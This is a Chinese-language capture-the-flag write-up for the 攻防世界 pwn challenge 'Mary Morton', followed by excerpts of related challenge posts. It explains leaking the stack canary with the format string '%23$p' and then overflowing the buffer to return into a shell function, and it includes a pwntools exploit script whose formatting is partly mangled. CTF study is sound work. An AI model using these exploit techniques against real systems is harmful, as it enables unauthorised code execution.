攻防世界 Mary Morton

2022-05-01 04:27:07 字數 1248 閱讀 2757

開啟程式看,選單已經說明的很清楚了

1存在棧溢位,2存在format

不過checksec了發現

存在棧保護,這裡的format就可以洩露出標誌位

經過嘗試,%x只能輸出8bit的數 這裡使用%p

先試試水

第6個引數就是我們的輸入首位址了 然後往下找標誌位

計算出是第23個引數

驗證一下

是第23個引數沒錯了

提取出來就可以棧溢位了

溢位的時候控制標誌位不改變即可

from pwn import *

#io=process('./mary')

io=remote('

111.198.29.45

',43483)

io.recvuntil(

'3. exit the battle \n')

io.sendline(str(2))

sleep(0.5)

io.sendline(

'%23$p')

data=io.recvuntil('\n'

)print

"stack:

"+data

stack=int(data[:-1],16)

print

"stack:

"+hex(stack)

shell_addr=0x4008daio.recvuntil(

'3. exit the battle \n')

io.sendline(str(1))

sleep(0.5)

payload='

a'*(0x90-8)+p64(stack)+p64(shell_addr)*5io.sendline(payload)

io.interactive()

#rdi, rsi, rdx, rcx, r8, r9

#%23$p

攻防世界Mary Morton

64位程式,開啟了canary和nx保護 執行以下,效果如下 輸入1那塊存在棧溢位 輸入2那塊存在格式化字串漏洞 拖到ida看一下 main函式 棧溢位的函式 有canary保護,根據程式可以看出,v2應該就是canary的值,一開始,將 readfsqword 0x28u 的值給v2,後來又和v2...

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...